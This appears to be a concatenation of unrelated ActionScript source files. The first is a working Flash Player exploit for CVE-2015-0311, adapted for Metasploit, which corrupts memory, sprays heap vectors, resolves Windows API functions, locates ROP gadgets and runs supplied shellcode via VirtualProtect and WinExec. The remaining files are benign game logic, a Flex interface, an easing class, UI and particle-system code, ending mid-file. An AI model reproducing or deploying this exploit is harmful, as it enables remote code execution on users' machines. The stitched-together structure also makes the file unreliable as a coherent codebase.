// Original code by @hdarwin89 // http://blog.hacklab.kr/flash-cve-2015-0311-%EB%B6%84%EC%84%9D/
// Modified to be used from msf
package
{
import flash.display.Sprite;
import flash.display.LoaderInfo;
import flash.system.ApplicationDomain;
import flash.utils.ByteArray;
import avm2.intrinsics.memory.casi32;
import flash.external.ExternalInterface;
import mx.utils.Base64Decoder;
public class Main extends Sprite
{
private var data:uint = 0xdeaddead
private var uv:Vector.<Object> = new Vector.<Object>
private var ba:ByteArray = new ByteArray()
private var spray:Vector.<Object> = new Vector.<Object>(51200)
private var b64:Base64Decoder = new Base64Decoder();
private var payload:String = "";
/*public static function log(msg:String):void{
var str:String = "";
str += msg;
trace(str);
if(ExternalInterface.available){
ExternalInterface.call("alert", str);
}
}*/
public function Main()
{
b64.decode(LoaderInfo(this.root.loaderInfo).parameters.sh)
payload = b64.toByteArray().toString();
for (var i:uint = 0; i < 1000; i++) ba.writeUnsignedInt(data++)
ba.compress()
ApplicationDomain.currentDomain.domainMemory = ba
ba.position = 0x200
for (i = 0; i < ba.length - ba.position; i++) ba.writeByte(00)
try {
ba.uncompress()
} catch (e:Error) { }
uv[0] = new Vector.<uint>(0x3E0)
casi32(0, 0x3e0, 0xffffffff)
for (i = 0; i < spray.length; i++) {
spray[i] = new Vector.<Object>(1014)
spray[i][0] = ba
spray[i][1] = this
}
/*
0:008> dd 5ca4000
05ca4000 ffffffff 05042000 05ca4000 00000000
05ca4010 00000000 00000000 00000000 00000000
05ca4020 00000000 00000000 00000000 00000000
05ca4030 00000000 00000000 00000000 00000000
05ca4040 00000000 00000000 00000000 00000000
05ca4050 00000000 00000000 00000000 00000000
05ca4060 00000000 00000000 00000000 00000000
05ca4070 00000000 00000000 00000000 00000000
*/
uv[0][0] = uv[0][0x2000003] - 0x18 - 0x2000000 * 4
//log("uv[0][0]: " + uv[0][0].toString(16));
ba.endian = "littleEndian"
ba.length = 0x500000
var buffer:uint = vector_read(vector_read(uv[0][0x2000008] - 1 + 0x40) + 8) + 0x100000
//log("buffer: " + buffer.toString(16));
var main:uint = uv[0][0x2000009] - 1
//log("main: " + main.toString(16));
var vtable:uint = vector_read(main)
//log("vtable: " + vtable.toString(16));
vector_write(vector_read(uv[0][0x2000008] - 1 + 0x40) + 8)
vector_write(vector_read(uv[0][0x2000008] - 1 + 0x40) + 16, 0xffffffff)
byte_write(uv[0][0])
var flash:uint = base(vtable)
//log("flash: " + flash.toString(16));
// Because of the sandbox, when you try to solve kernel32
// from the flash imports on IE, it will solve ieshims.dll
var ieshims:uint = module("kernel32.dll", flash)
//log("ieshims: " + ieshims.toString(16));
var kernel32:uint = module("kernel32.dll", ieshims)
//log("kernel32: " + kernel32.toString(16));
var ntdll:uint = module("ntdll.dll", kernel32)
//log("ntdll: " + ntdll.toString(16));
var urlmon:uint = module("urlmon.dll", flash)
//log("urlmon: " + urlmon.toString(16));
var virtualprotect:uint = procedure("VirtualProtect", kernel32)
//log("virtualprotect: " + virtualprotect.toString(16));
var winexec:uint = procedure("WinExec", kernel32)
//log("winexec: " + winexec.toString(16));
var urldownloadtofile:uint = procedure("URLDownloadToFileA", urlmon);
//log("urldownloadtofile: " + urldownloadtofile.toString(16));
var getenvironmentvariable:uint = procedure("GetEnvironmentVariableA", kernel32)
//log("getenvironmentvariable: " + getenvironmentvariable.toString(16));
var setcurrentdirectory:uint = procedure("SetCurrentDirectoryA", kernel32)
//log("setcurrentdirectory: " + setcurrentdirectory.toString(16));
var xchgeaxespret:uint = gadget("c394", 0x0000ffff, flash)
//log("xchgeaxespret: " + xchgeaxespret.toString(16));
var xchgeaxesiret:uint = gadget("c396", 0x0000ffff, flash)
//log("xchgeaxesiret: " + xchgeaxesiret.toString(16));
// CoE
byte_write(buffer + 0x30000, "\xb8", false); byte_write(0, vtable, false) // mov eax, vtable
byte_write(0, "\xbb", false); byte_write(0, main, false) // mov ebx, main
byte_write(0, "\x89\x03", false) // mov [ebx], eax
byte_write(0, "\x87\xf4\xc3", false) // xchg esp, esi # ret
byte_write(buffer+0x200, payload);
byte_write(buffer + 0x20070, xchgeaxespret)
byte_write(buffer + 0x20000, xchgeaxesiret)
byte_write(0, virtualprotect)
// VirtualProtect
byte_write(0, winexec)
byte_write(0, buffer + 0x30000)
byte_write(0, 0x1000)
byte_write(0, 0x40)
byte_write(0, buffer + 0x100)
// WinExec
byte_write(0, buffer + 0x30000)
byte_write(0, buffer + 0x200)
byte_write(0)
byte_write(main, buffer + 0x20000)
toString()
}
private function vector_write(addr:uint, value:uint = 0):void
{
addr > uv[0][0] ? uv[0][(addr - uv[0][0]) / 4 - 2] = value : uv[0][0xffffffff - (uv[0][0] - addr) / 4 - 1] = value
}
private function vector_read(addr:uint):uint
{
return addr > uv[0][0] ? uv[0][(addr - uv[0][0]) / 4 - 2] : uv[0][0xffffffff - (uv[0][0] - addr) / 4 - 1]
}
private function byte_write(addr:uint, value:* = 0, zero:Boolean = true):void
{
if (addr) ba.position = addr
if (value is String) {
for (var i:uint; i < value.length; i++) ba.writeByte(value.charCodeAt(i))
if (zero) ba.writeByte(0)
} else ba.writeUnsignedInt(value)
}
private function byte_read(addr:uint, type:String = "dword"):uint
{
ba.position = addr
switch(type) {
case "dword":
return ba.readUnsignedInt()
case "word":
return ba.readUnsignedShort()
case "byte":
return ba.readUnsignedByte()
}
return 0
}
private function base(addr:uint):uint
{
addr &= 0xffff0000
while (true) {
if (byte_read(addr) == 0x00905a4d) return addr
addr -= 0x10000
}
return 0
}
private function module(name:String, addr:uint):uint
{
var iat:uint = addr + byte_read(addr + byte_read(addr + 0x3c) + 0x80)
var i:int = -1
while (true) {
var entry:uint = byte_read(iat + (++i) * 0x14 + 12)
if (!entry) throw new Error("FAIL!");
ba.position = addr + entry
var dll_name:String = ba.readUTFBytes(name.length).toUpperCase();
if (dll_name == name.toUpperCase()) {
break;
}
}
return base(byte_read(addr + byte_read(iat + i * 0x14 + 16)));
}
private function procedure(name:String, addr:uint):uint
{
var eat:uint = addr + byte_read(addr + byte_read(addr + 0x3c) + 0x78)
var numberOfNames:uint = byte_read(eat + 0x18)
var addressOfFunctions:uint = addr + byte_read(eat + 0x1c)
var addressOfNames:uint = addr + byte_read(eat + 0x20)
var addressOfNameOrdinals:uint = addr + byte_read(eat + 0x24)
for (var i:uint = 0; ; i++) {
var entry:uint = byte_read(addressOfNames + i * 4)
ba.position = addr + entry
if (ba.readUTFBytes(name.length+2).toUpperCase() == name.toUpperCase()) break
}
return addr + byte_read(addressOfFunctions + byte_read(addressOfNameOrdinals + i * 2, "word") * 4)
}
private function gadget(gadget:String, hint:uint, addr:uint):uint
{
var find:uint = 0
var limit:uint = byte_read(addr + byte_read(addr + 0x3c) + 0x50)
var value:uint = parseInt(gadget, 16)
for (var i:uint = 0; i < limit - 4; i++) if (value == (byte_read(addr + i) & hint)) break
return addr + i
}
}
}
|
function tsy(a:Number):Number {
var b:Number;
if (a>0) {
b = a;
} else {
b = 180+(180+a);
}
return b;
}
function itsy(a:Number):Number {
var b:Number;
if (a>180) {
b = -180+(a-180);
} else {
b = a;
}
return b;
}
function replaceall(a:String, b:String, c:String) {
var d:Number = a.indexOf(b);
while (d>-1) {
a = a.slice(0, d)+c+a.slice(d+b.length);
d = a.indexOf(b);
}
return a;
}
function hider() {
trace(this);
if (pauseq == 0) {
if (!paused) {
if (this._visible) {
if (this.hitTest(movelayer.Guy._x+movelayer._x, movelayer.Guy._y+movelayer._y, true)) {
this._visible = false;
}
}
}
}
}
function aimu(a, b, c, d, e, f) {
var dx = a-b;
var dy = f-c;
angle = Math.atan2(dy, dx);
e._rotation = angle*180/Math.PI+d;
}
function expl() {
if (pauseq == 0) {
if (!paused) {
if (this.dead) {
removeMovieClip(this);
} else {
this._y += this.dy;
this._x += this.dx;
if (movelayer.platforms.hitTest(this._x+movelayer._x, this._y+movelayer._y, true)) {
this.dead = true;
}else if (movelayer.Guy.hitTest(this._x+movelayer._x, this._y+movelayer._y, true)||movelayer.THead.hitTest(this._x+movelayer._x, this._y+movelayer._y, true)) {
damage(this.damage);
//this.dead = true;
this._alpha=50;
}else if (this._currentframe == this._totalframes) {
this.dead = true;
}
}
}
}
}
/*
Lag managere is designed to limit the number of bullets that are checked to see if they are in collisions.
*/
function lagmanager() {
good -= 1;
bad -= 1;
neutral -= 1;
if (multi>0) {
multi--;
}
if (time>0) {
time--;
}
}
function explosion(ex:Number, ey:Number, size:Number, fires:Number, speed:Number, damage:Number, side:Number) {
//optimized
//startTest("Explosion");
//#sound
addSound(assetContainer.getSound("Boom"), "Boom", 1);
var mathRandom:Function=Math.random;
var mathPI:Number=Math.PI;
var mathSin:Function=Math.sin;
var mathCos:Function=Math.cos;
neutral = fires;
var w:Number = 0;
while (w<fires) {
w++;
var qw:Number = mathRandom()*mathPI*2;
var dx:Number = size*mathRandom()*mathCos(qw);
var dy:Number = size*mathRandom()*mathSin(qw);
var z:MovieClip;
if (mathRandom()>=0.5) {
z = movelayer.trackmc3.attachMovie('exdy', "d"+cept, cept++);
} else {
z = movelayer.trackmc3.attachMovie('exdr', "d"+cept, cept++);
}
z._x = dx+ex;
z._y = dy+ey;
z.spd = speed;
z.damage = damage;
z.side = side;
z.dead = false;
//velocity
qw = mathRandom()*mathPI*2;
z.dx = speed*mathRandom()*mathCos(qw);
z.dy = speed*mathRandom()*mathSin(qw);
}
//endTest(fires, "fire");
}
function aimy(a, b, c, d) {
//used by devil bot
var e:Number = a._x-b;
var f:Number = a._y-c;
var g:Number = Math.sqrt(e*e+f*f)/d;
return f/g;
}
function aimx(a, b, c, d) {
var e = a._x-b;
var f = a._y-c;
var g = Math.sqrt(e*e+f*f)/d;
return e/g;
}
function aimz(a, b, c, d) {
var dx = a._x-b;
var dy = a._y-c;
angle = Math.atan2(dy, dx);
a._rotation = angle*180/Math.PI+d;
}
function aimw(a, b, c, d, e) {
var dx = a._x-b;
var dy = a._y-c;
angle = Math.atan2(dy, dx);
e._rotation = angle*180/Math.PI+d;
}
/*
50% of the time returns true, otherwise it returns false.
*/
function randombool():Boolean {
if (Math.random()>.5) {
return true;
} else {
return false;
}
}
function settarget() {
targetparent = this._parent._name;
TARGET = this._name;
this.oldtrans = this.transform.colorTransform;
var coltrans = new ColorTransform();
coltrans.blueOffset = 120+this.oldtrans.greenOffset;
coltrans.greenOffset = 120+this.oldtrans.blueOffset;
coltrans.redOffset = this.oldtrans.redOffset;
this.transform.colorTransform = coltrans;
}
function setbaddie() {
BADDIE = this._name;
baddieparent = this._parent._name;
}
function hitgood(a) {
//setup
if (isNaN(a.overtime)) {
a.overtime = 0;
//adjust health based on difficulty
a.z = a.health = Math.max(Math.round(a.z*DIFF/1.5),1);
}
//if you are dead then un aim
if(a.health<=0){
a.transform.colorTransform=new ColorTransform(1,1,1,1,0,0,0,0);
}
//count enemies in range
enemiesInRange++;
//targeting system
if (mouseaim == 1) {
if ((TARGET == a._name) && (targetparent == a._parent._name)) {
if (!a.hitTest(movelayer.Pointer._x+movelayer._x, movelayer.Pointer._y+movelayer._y, false)||a.health<=0) {
//un target
TARGET = null;
a.transform.colorTransform = a.oldtrans;
}
} else {
if (TARGET == null&&a.health>=0) {
//target
if (a.hitTest(movelayer.Pointer._x+movelayer._x, movelayer.Pointer._y+movelayer._y, false)) {
settarget.apply(a);
} else {
a.transform.colorTransform = a.oldtrans;
}
}
}
}
if (a._parent != movelayer.platforms) {
if (a._parent._parent != movelayer.platforms) {
//baddie health resets to 999 every frame
var po = {x:0, y:0};
a.localToGlobal(po);
po.x = po.x-movelayer._x;
po.y = po.y-movelayer._y;
var dx:Number=po.x-movelayer.Guy._x;
var dy:Number=po.y-movelayer.Guy._y;
var dis:Number=Math.sqrt(dx*dx+dy*dy);
if(dis<baddiehealth){
baddiehealth = dis;
setbaddie.apply(a);
}
}
}
//take damage over time
if (a.overtime>0) {
a.overtime--;
a.health--;
if(isRewardEnabled(24)){
if(a.health%2==0){
HEALTH++;
}
}
}
//misc
var col:Boolean = false;
//boot spikes
if (isRewardEnabled(6)) {
if (a.hitTest(movelayer.Guy._x+movelayer._x, movelayer.Guy._y+movelayer._y+2, true)) {
a.health--;
col = true;
}
}
//mine detonating automatically
if (isRewardEnabled(22)) {
if(remotebomb!=null){
if(a._parent!=null){
if (a.hitTest(remotebomb.po.x+movelayer._x, remotebomb.po.y+movelayer._y, true)) {
explosion(remotebomb.po.x,remotebomb.po.y,10,20,9,3,1);
col = true;
remotebomb.removeMovieClip();
remotebomb=null;
vtrace("Detonated Automatically",10);
}
}
}
}
var parentsArePlatforms:Boolean=(a._parent==movelayer.platforms||a._parent._parent==movelayer.platforms);
//the bullets
if (good>=1) {
for (var x = Math.max(molecount-good,0); x<=molecount; x++) {
mcray = movelayer.trackmc["Ray_"+x];
if(mcray==null){
//for now we'll ignore you
}else if (mcray != null) {
if(parentsArePlatforms||mcray.dead==0){
if (mcray.grenade) {
if (mcray.typ == 0) {
if (checkCollision(a, mcray)) {
//if (a.hitTest(mcray._x+movelayer._x, mcray._y+movelayer._y, true)) {
explosion(mcray._x, mcray._y,mcray.radius,mcray.plows,mcray.spd,2,1);
mcray.removeMovieClip();
col = true;
}
} else if (mcray.typ == 1) {
} else if (mcray.typ == 2){
if (checkCollision(a, mcray.swrd)) {
//if (a.hitTest(mcray.swrd)) {
a.health -= mcray.damage;
col = true;
}
}
} else {
if (mcray.equiped == 1 || mcray.equiped == 5 || mcray.equiped == 8 || mcray.equiped == 9 || mcray.equiped == 10 || mcray.equiped == 11) {
//if (checkCollision(a, mcray)) {
if (a.hitTest(mcray._x+movelayer._x, mcray._y+movelayer._y, true)) {
a.health -= mcray.damage;
mcray.removeMovieClip();
col = true;
}
} else if (mcray.equiped == 2) {
if (checkCollision(a, mcray.swrd)) {
//if (a.hitTest(mcray.swrd)) {
a.health -= mcray.damage;
col = true;
}
} else if (mcray.equiped == 3) {
//if (checkCollision(a, mcray)) {
if (a.hitTest(mcray._x+movelayer._x, mcray._y+movelayer._y, true)) {
explosion(mcray._x,mcray._y,mcray.radius,mcray.plows,mcray.spd,3,1);
mcray.removeMovieClip();
col = true;
}
} else if (mcray.equiped == 6) {
//if (checkCollision(a, mcray)) {
if (a.hitTest(mcray._x+movelayer._x, mcray._y+movelayer._y, true)) {
a.health -= mcray.damage;
col = true;
}
} else if (mcray.equiped == 7) {
//if (checkCollision(a, mcray)) {
if (a.hitTest(mcray._x+movelayer._x, mcray._y+movelayer._y, true)) {
a.health -= mcray.damage;
a.overtime += 20;
col = true;
mcray.removeMovieClip();
}
}
}
}
}
}
}
if (isRewardEnabled(12)) {
if (col) {
a.health--;
}
}
return col;
}
function hitbad(a) {
var col:Boolean = false;
if (bad>=1) {
for (var x = Math.max(depth-bad,0); x<=depth; x++) {
mcray2 = movelayer.trackmc2["d"+x];
mcray4 = movelayer.trackmc4["d"+x];
if (mcray2 != null) {
//reduces lag
//if (checkCollision(a, mcray2)) {
if (a.hitTest(mcray2._x+movelayer._x, mcray2._y+movelayer._y, true)) {
a.health -= mcray2.damage;
mcray2.removeMovieClip();
col = true;
}
}
if (mcray4 != null) {
if (checkCollision(a, mcray4)) {
a.health -= mcray4.damage;
col = true;
}
}
}
}
return col;
}
function hitneutral(a) {
var col = false;
if (neutral>=1) {
for (var x = Math.max(cept-neutral,0); x<=cept; x++) {
mcray3 = movelayer.trackmc3["d"+x];
if (mcray3 != null) {
if(mcray3._alpha==100){
//dosen't need persision
//if (checkCollision(a, mcray3)) {
if (a.hitTest(mcray3._x+movelayer._x, mcray3._y+movelayer._y, true)) {
a.health -= mcray3.damage;
//a reward for killing a flamer with the flame thrower
if(a.health<=0){
if(mcray3.side==1&&mcray3.damage==3&&a.isaFlamer!=null){
unlock(32);
}
x=cept+1;
}
mcray3._alpha=50;
col = true;
}
}
}
}
}
return col;
}
function aimmouse() {
if (!paused) {
this._rotation = 90;
this._x = _xmouse-movelayer._x;
this._y = _ymouse-movelayer._y;
if (isRewardEnabled(2)) {
if ((equiped == 1) || (equiped == 4) || (equiped == 8) || (equiped == 9) || (equiped == 10)) {
if (movelayer.Shootat0.reloadtime>0) {
this._rotation = -90*(movelayer.Shootat0.reloadtime/movelayer.Shootat0.maxtime);
}
} else if (equiped != 2) {
if (movelayer.Shootat0.midtime>0) {
this._rotation = -90*(movelayer.Shootat0.midtime/movelayer.Shootat0.maxtime);
}
}
}
}
}
function checkCollision(p_clip1:MovieClip, p_clip2:MovieClip):Boolean {
//perfect collisions but 6 times slower than usual
//
if (p_clip1 == null || p_clip2 == null) {
return false;
}
// get bounds:
var bounds1:Object = p_clip1.getBounds(_root);
var bounds2:Object = p_clip2.getBounds(_root);
// rule out anything that we know can't collide:
if (((bounds1.xMax<bounds2.xMin) || (bounds2.xMax<bounds1.xMin)) || ((bounds1.yMax<bounds2.yMin) || (bounds2.yMax<bounds1.yMin))) {
return false;
} else {
// determine test area boundaries:
var bounds:Object = {};
bounds.xMin = Math.max(bounds1.xMin, bounds2.xMin);
bounds.xMax = Math.min(bounds1.xMax, bounds2.xMax);
bounds.yMin = Math.max(bounds1.yMin, bounds2.yMin);
bounds.yMax = Math.min(bounds1.yMax, bounds2.yMax);
// set up the image to use:
var img:BitmapData = new BitmapData(bounds.xMax-bounds.xMin, bounds.yMax-bounds.yMin, false);
// draw in the first image:
var mat:Matrix = p_clip1.transform.concatenatedMatrix;
mat.tx -= bounds.xMin;
mat.ty -= bounds.yMin;
img.draw(p_clip1,mat,new ColorTransform(1, 1, 1, 1, 255, -255, -255, 255));
// overlay the second image:
mat = p_clip2.transform.concatenatedMatrix;
mat.tx -= bounds.xMin;
mat.ty -= bounds.yMin;
img.draw(p_clip2,mat,new ColorTransform(1, 1, 1, 1, 255, 255, 255, 255),"difference");
// find the intersection:
var intersection:Rectangle = img.getColorBoundsRect(0xFFFFFFFF, 0xFF00FFFF);
//_root.attachBitmap(img,_root.getNextHighestDepth());
// if there is no intersection, return null:
if (intersection.width == 0) {
return false;
} else {
//we're good
return true;
}
}
}
function decodeBool(string:String):Boolean {
if (string == "true") {
return true;
} else {
return false;
}
}
function startTest(id:String):Void{
if(!testing){
if(id==null){
id="Untitled Test";
}
startTime=getTimer();
testing=true;
testId=id;
}
}
function endTest(asAFunctionOf:Number,functionLabel:String):Void{
if(testing){
var timePassed:Number=getTimer()-startTime;
if(asAFunctionOf!=null&&!isNaN(asAFunctionOf)){
trace(testId+" was performed in "+(timePassed/asAFunctionOf)+" ms per "+functionLabel);
}else{
trace(testId+" was performed in "+timePassed+" ms");
}
testing=false;
}
}
function rgbbright(r, g, b) {
return (r+g+b)/3;
}
function hexToRGB(hex:Number) {
var returnObj:Object = new Object();
returnObj.r = hex >> 16;
var temp = Math.pow(hex, r) << 16;
returnObj.g = temp >> 8;
returnObj.b = Math.pow(temp, g) << 8;
return returnObj;
}
function inferred(col:Number) {
var colo = hexToRGB(col);
var bright = rgbbright(colo.r, colo.g, colo.b);
var r = 2*bright;
var g = 2*(bright-128);
var b = 255-2*bright;
if (b<0) {
b = 0;
}
if (g<0) {
g = 0;
}
if (r<0) {
r = 0;
}
if (r>255) {
r = 255;
}
if (g>255) {
g = 255;
}
if (b>255) {
b = 255;
}
var rs = r.toString(16);
var gs = g.toString(16);
var bs = b.toString(16);
if (rs.length == 1) {
rs = "0"+rs;
}
if (gs.length == 1) {
gs = "0"+gs;
}
if (bs.length == 1) {
bs = "0"+bs;
}
return ("0x"+rs+gs+bs).toString(16);
}
function motionblur(target, ex, ey) {
var filtering = new Array();
filtering.push(new BlurFilter(Math.abs(ex)/3, Math.abs(ey)/3, 1));
target.filters = filtering;
}
var mouseListener:Object = new Object();
mouseListener.onMouseDown = function() {
if(mouseaim==1){
if (md == 0&&!paused) {
Mouse.hide();
md = 1;
}
}
};
mouseListener.onMouseUp = function() {
if(mouseaim==1){
semi = true;
if (md == 1) {
md = 0;
}
}
};
mouseListener.onMouseWheel = function(delta:Number) {
if(mouseaim==1){
if(delta>0){
equiped++;
}else if(delta<0){
equiped--;
}
if(equiped<0){
equiped=maxequiped;
}
if(equiped>maxequiped){
equiped=1;
}
}
};
Mouse.addListener(mouseListener);
|
////////////////////////////////////////////////////////////////////////////////
//
// ADOBE SYSTEMS INCORPORATED
// Copyright 2011 Adobe Systems Incorporated
// All Rights Reserved.
//
// NOTICE: Adobe permits you to use, modify, and distribute this file
// in accordance with the terms of the license agreement accompanying it.
//
////////////////////////////////////////////////////////////////////////////////
package spark.core
{
[ExcludeClass]
/**
* @private
* Interface to plumb soft-keyboard hints to soft-keyboard-aware
* implementation components.
*/
public interface ISoftKeyboardHintClient
{
//--------------------------------------------------------------------------
//
// Properties
//
//--------------------------------------------------------------------------
//----------------------------------
// autoCapitalize
//----------------------------------
/**
* Hint indicating what captialization behavior soft keyboards should use.
*
* <p>Supported values are defined in flash.text.AutoCapitalize:
* <ul>
*
* <li><code>"none"</code> - no automatic capitalization</li>
*
* <li><code>"word"</code> - capitalize the first letter following any space or
* punctuation</li>
*
* <li><code>"sentence"</code> - captitalize the first letter following any period</li>
*
* <li><code>"all"</code> - capitalize every letter</li>
*
* </ul>
* </p>
*
* @langversion 3.0
* @playerversion AIR 3.0
* @productversion Flex 4.6
*/
function set autoCapitalize(value:String):void;
function get autoCapitalize():String;
//----------------------------------
// autoCorrect
//----------------------------------
/**
* Hint indicating whether a soft keyboard should use its auto-correct
* behavior, if supported.
*
* @langversion 3.0
* @playerversion AIR 3.0
* @productversion Flex 4.6
*/
function get autoCorrect():Boolean;
function set autoCorrect(value:Boolean):void;
//----------------------------------
// returnKeyLabel
//----------------------------------
/**
* Hint indicating what label should be displayed for the return key on
* soft keyboards.
*
* <p>Supported values are defined in flash.text.ReturnKeyLabel:
* <ul>
* <li><code>"default"</code> - default icon or label text</li>
*
* <li><code>"done"</code> - icon or label text indicating completed text entry</li>
*
* <li><code>"go"</code> - icon or label text indicating that an action should
* start</li>
*
* <li> <code>"next"</code> - icon or label text indicating a move to the next
* field</li>
*
* <li><code>"search"</code> - icon or label text indicating that the entered text
* should be searched for</li>
* </ul>
* </p>
*
* @langversion 3.0
* @playerversion AIR 3.0
* @productversion Flex 4.6
*/
function get returnKeyLabel():String;
function set returnKeyLabel(value:String):void;
//----------------------------------
// softKeyboardType
//----------------------------------
/**
* Hint indicating what kind of soft keyboard should be displayed for this
* component.
*
* <p>Supported values are defined in flash.text.SoftKeyboardType:
* <ul>
* <li><code>"default"</code> - the default keyboard</li>
*
* <li><code>"punctuation"</code> - puts the keyboard into punctuation/symbol entry
* mode</li>
*
* <li><code>"url"</code> - present soft keys appropriate for URL entry, such as a
* specialized key that inserts '.com'</li>
*
* <li><code>"number"</code> - puts the keyboard into numeric keypad mode</li>
*
* <li><code>"contact"</code> - puts the keyboard into a mode appropriate for entering
* contact information</li>
*
* <li><code>"email"</code> - puts the keyboard into e-mail addres entry mode, which
* may make it easier to enter the at sign or '.com'</li>
* </ul>
* </p>
*
* @langversion 3.0
* @playerversion AIR 3.0
* @productversion Flex 4.6
*/
function get softKeyboardType():String;
function set softKeyboardType(value:String):void;
}
} |
/**
* VERSION: 1.0
* DATE: 2012-03-22
* AS3 (AS2 and JS versions are also available)
* UPDATES AND DOCS AT: http://www.greensock.com
**/
import com.iequip.easing.Ease;
/**
* See AS3 files for full ASDocs
*
* <p><strong>Copyright 2008-2014, GreenSock. All rights reserved.</strong> This work is subject to the terms in <a href="http://www.greensock.com/terms_of_use.html">http://www.greensock.com/terms_of_use.html</a> or for <a href="http://www.greensock.com/club/">Club GreenSock</a> members, the software agreement that was issued with the membership.</p>
*
* @author Jack Doyle, jack@greensock.com
*/
class com.iequip.easing.BounceInOut extends Ease {
public static var ease:BounceInOut = new BounceInOut();
public function getRatio(p:Number):Number {
var invert:Boolean = (p < 0.5);
if (invert) {
p = 1 - (p * 2);
} else {
p = (p * 2) - 1;
}
if (p < 1 / 2.75) {
p = 7.5625 * p * p;
} else if (p < 2 / 2.75) {
p = 7.5625 * (p -= 1.5 / 2.75) * p + .75;
} else if (p < 2.5 / 2.75) {
p = 7.5625 * (p -= 2.25 / 2.75) * p + .9375;
} else {
p = 7.5625 * (p -= 2.625 / 2.75) * p + .984375;
}
return invert ? (1 - p) * 0.5 : p * 0.5 + 0.5;
}
}
|
package
{
import flash.display.Bitmap;
import flash.display.BitmapData;
import flash.display.SimpleButton;
import flash.events.MouseEvent;
import flash.text.TextField;
/**
* ...
* @author Toshiyuki Suzumura / @suzumura_ss
*/
public class VFlatSlider extends FlatSlider
{
public function VFlatSlider(min:Number, max:Number, init:Number, width:Number)
{
super(min, max, init, width);
}
override protected function lineBitmap():Bitmap
{
return new Bitmap(new BitmapData(32, _width + 32, false, 0x86c351));
}
override protected function textLabel():TextField
{
var l:TextField = new TextField();
l.text = "0.00";
l.width = 32;
l.height = 20;
l.x = 0;
l.y = (_width + 32 - l.height) / 2;
l.mouseEnabled = false;
return l;
}
override protected function toValue(e:MouseEvent):Number
{
return (e.localY - 16) * (_max - _min) / _width + _min;
}
override protected function updateButton():void
{
_label.text = _current.toFixed(2);
_button.y = (_current - _min) * _width / (_max - _min);
}
}
} |
package away3d.loaders.parsers.particleSubParsers.nodes
{
import away3d.animators.data.ParticlePropertiesMode;
import away3d.animators.nodes.ParticleUVNode;
import away3d.loaders.parsers.particleSubParsers.AllIdentifiers;
import away3d.loaders.parsers.particleSubParsers.AllSubParsers;
import away3d.loaders.parsers.particleSubParsers.utils.MatchingTool;
import away3d.loaders.parsers.particleSubParsers.values.ValueSubParserBase;
public class ParticleUVNodeSubParser extends ParticleNodeSubParserBase
{
private var _cycleValue:ValueSubParserBase;
private var _scaleValue:ValueSubParserBase;
private var _axis:String;
private var _formula:int;
public function ParticleUVNodeSubParser()
{
}
override protected function proceedParsing():Boolean
{
if (_isFirstParsing)
{
var object:Object = _data.cycle;
var Id:Object = object.id;
var subData:Object = object.data;
var valueCls:Class = MatchingTool.getMatchedClass(Id, AllSubParsers.ALL_ONED_VALUES);
if (!valueCls)
{
dieWithError("Unknown value");
}
_cycleValue = new valueCls(ParticleUVNode.UV_CYCLE);
addSubParser(_cycleValue);
_cycleValue.parseAsync(subData);
object = _data.scale;
if (object)
{
Id = object.id;
subData = object.data;
valueCls = MatchingTool.getMatchedClass(Id, AllSubParsers.ALL_ONED_VALUES);
if (!valueCls)
{
dieWithError("Unknown value");
}
_scaleValue = new valueCls(ParticleUVNode.UV_SCALE);
addSubParser(_scaleValue);
_scaleValue.parseAsync(subData);
}
_axis = _data.axis;
_formula = _data.formula;
}
if (super.proceedParsing() == PARSING_DONE)
{
initProps();
return PARSING_DONE;
}
else
return MORE_TO_PARSE;
}
private function initProps():void
{
if (_cycleValue.valueType == ValueSubParserBase.CONST_VALUE)
{
if (!_scaleValue)
_particleAnimationNode = new ParticleUVNode(ParticlePropertiesMode.GLOBAL, _cycleValue.setter.generateOneValue(), 1, _axis, _formula);
else if (_scaleValue.valueType == ValueSubParserBase.CONST_VALUE)
_particleAnimationNode = new ParticleUVNode(ParticlePropertiesMode.GLOBAL, _cycleValue.setter.generateOneValue(), _scaleValue.setter.generateOneValue(), _axis, _formula);
else
{
_particleAnimationNode = new ParticleUVNode(ParticlePropertiesMode.LOCAL_STATIC, _cycleValue.setter.generateOneValue(), 2, _axis, _formula);
_setters.push(_cycleValue.setter);
_setters.push(_scaleValue.setter);
}
}
else
{
_setters.push(_cycleValue.setter);
if (!_scaleValue)
_particleAnimationNode = new ParticleUVNode(ParticlePropertiesMode.LOCAL_STATIC, _cycleValue.setter.generateOneValue(), 1, _axis, _formula);
else if (_scaleValue.valueType == ValueSubParserBase.CONST_VALUE)
_particleAnimationNode = new ParticleUVNode(ParticlePropertiesMode.LOCAL_STATIC, _cycleValue.setter.generateOneValue(), _scaleValue.setter.generateOneValue(), _axis, _formula);
else
{
_particleAnimationNode = new ParticleUVNode(ParticlePropertiesMode.LOCAL_STATIC, _cycleValue.setter.generateOneValue(), 2, _axis, _formula);
_setters.push(_scaleValue.setter);
}
}
}
public static function get identifier():*
{
return AllIdentifiers.ParticleUVNodeSubParser;
}
}
}
|
/*
* FLINT PARTICLE SYSTEM
* .....................
*
* Author: Richard Lord
* Copyright (c) Richard Lord 2008-2011
* http://flintparticles.org/
*
* Licence Agreement
*
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the "Software"), to deal
* in the Software without restriction, including without limitation the rights
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
* copies of the Software, and to permit persons to whom the Software is
* furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included in
* all copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
* THE SOFTWARE.
*/
package
{
import org.flintparticles.common.debug.Stats;
[SWF(width='500', height='200', frameRate='60', backgroundColor='#000000')]
public class MainPlus extends Main
{
public function MainPlus()
{
super();
addChild( new Stats() );
}
}
} |
// Decompiled by AS3 Sorcerer 6.08
// www.as3sorcerer.com
//io.decagames.rotmg.pets.signals.SelectPetSkinSignal
package io.decagames.rotmg.pets.signals
{
import org.osflash.signals.Signal;
import io.decagames.rotmg.pets.data.vo.IPetVO;
